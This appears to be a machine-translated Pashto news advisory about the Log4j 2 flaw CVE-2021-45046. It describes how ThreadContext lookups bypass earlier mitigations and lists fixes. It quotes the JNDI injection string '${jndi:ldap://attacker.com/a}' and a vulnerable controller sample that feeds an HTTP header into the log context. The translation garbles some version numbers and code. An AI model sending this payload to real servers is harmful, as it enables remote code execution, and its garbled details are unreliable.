د Log4j 2 لپاره د نوي برید اختیار چې تاسو ته اجازه درکوي اضافي محافظت بای پاس کړئ

د Log4j 2 کتابتون (CVE-2021-45046) کې د JNDI لیدونو پلي کولو کې یو بل زیان په ګوته شوی، کوم چې د 2.15 په خوشې کولو کې اضافه شوي اصلاحات او د ساتنې لپاره د "log4j2.noFormatMsgLookup" ترتیب کارولو په پام کې نیولو سره ښکاري. ستونزه په عمده توګه د Log4j 2 د زړو نسخو لپاره خطرناکه ده، چې د "noFormatMsgLookup" بیرغ په کارولو سره خوندي شوی، ځکه چې دا د پخوانیو زیانونو (Log4Shell, CVE-2021-44228) څخه د محافظت د مخنیوي امکان برابروي، کوم چې تاسو ته اجازه درکوي خپل کوډ اجرا کړئ سرور د 2.15 نسخه کاروونکو لپاره، استخراج محدود دی چې د شته سرچینو د ختمیدو له امله د غوښتنلیک د خرابیدو لامل شي.

زیانمنتیا یوازې په هغه سیسټمونو کې څرګندیږي چې د ننوتلو لپاره د متن لټونونه کاروي، لکه ${ctx:loginId}، یا MDC ټیمپلیټونه (د موضوع موضوع نقشه)، لکه %X، %mdc، او %MDC. عملیات د لاګ لپاره د JNDI بدیلونو لرونکي ډیټا د تولید لپاره شرایط رامینځته کولو لپاره راځي کله چې په غوښتنلیک کې د شرایطو پوښتنو یا MDC ټیمپلیټونه وکاروئ کوم چې لاګ ته د محصول فارمیټ کولو مقررات تعریفوي.

د LunaSec څیړونکو یادونه وکړه چې د 4 څخه کم د Log2.15j نسخو لپاره، دا زیانمننه د Log4Shell برید لپاره د نوي ویکتور په توګه کارول کیدی شي، چې د کوډ اجرا کولو المل کیږي، که د ThreadContext څرګندونه چې بهرني معلومات پکې شامل وي د لاګ محصول کې کارول کیږي، پرته له دې چې آیا "محافظه" بیرغ فعال شوی دی. noMsgFormatLookups" یا "%m{nolookups}" کينډۍ.

د Log4j 2 لپاره د نوي برید اختیار چې تاسو ته اجازه درکوي اضافي محافظت بای پاس کړئ

د محافظت څخه تیریدل حقیقت ته راځي چې د "${jndi:ldap://attacker.com/a}" مستقیم بدیل پرځای، دا بیان د منځګړی متغیر ارزښت له لارې بدل شوی چې د لاګ محصول فارمیټ کولو قواعدو کې کارول کیږي. . د مثال په توګه، که د حوالې پوښتنه ${ctx:apiversion} د ننوتلو په وخت کې کارول کیږي، نو بیا برید د ډیټا "${jndi:ldap://attacker.com/a}" ځای په ځای کولو سره ترسره کیدی شي. ارزښت د apiversion متغیر ته لیکل شوی. د زیانمنونکي کوډ بیلګه: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") عامه سټرینګ انډیکس(@RequestHeader("X-Api-Version") String apiVersion) { // د "X-Api-Version" HTTP سرلیک ارزښت ThreadContext ThreadContext.put("apiversion) ته لیږدول کیږي ", apiVersion ); // کله چې لاګ ته وتړل شي، د بهرني اپیورشن ارزښت به د بدیل ${ctx:apiversion} logger.info("د API نسخې لپاره غوښتنه ترلاسه کړي") په کارولو سره پروسس شي؛ بیرته راستانه کړئ "سلام، نړۍ!"؛ }

په Log4j نسخه 2.15 کې، زیانمنتیا د DoS بریدونو ترسره کولو لپاره کارول کیدی شي کله چې ThreadContext ته ارزښتونه تیریږي، په پایله کې د محصول فارمیټ کولو ټیمپلیټ پروسس کولو کې لوپ.

د Log4j 2 لپاره د نوي برید اختیار چې تاسو ته اجازه درکوي اضافي محافظت بای پاس کړئ

د زیان مننې مخنیوي لپاره، تازه معلومات 2.16 او 2.12.2 خپاره شوي. په Log4j 2.16 څانګه کې، په 2.15 نسخه کې پلي شوي اصلاحات او د JNDI LDAP د "لوکل هوسټ" د غوښتنې پابندۍ سربیره، د JNDI فعالیت په بشپړ ډول د ډیفالټ لخوا غیر فعال شوی او د پیغام بدیل ټیمپلیټونو ملاتړ لرې شوی. د امنیتي حل په توګه، دا وړاندیز کیږي چې د JndiLookup ټولګي له ټولګي څخه لرې کړئ (د مثال په توګه، "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

تاسو کولی شئ د توزیع (Debian، Ubuntu، RHEL، SUSE، Fedora، Arch) او جاوا پلیټ فارم جوړونکو (GitHub، Docker، Oracle، vmWare، Broadcom او Amazon/AWS، Juniper، VMware، Cisco، IBM، Red Hat، MongoDB، Okta، SolarWinds، Symantec، McAfee، SonicWall، FortiGuard، Ubiquiti، F-Secure، او نور).

سرچینه: opennet.ru

Add a comment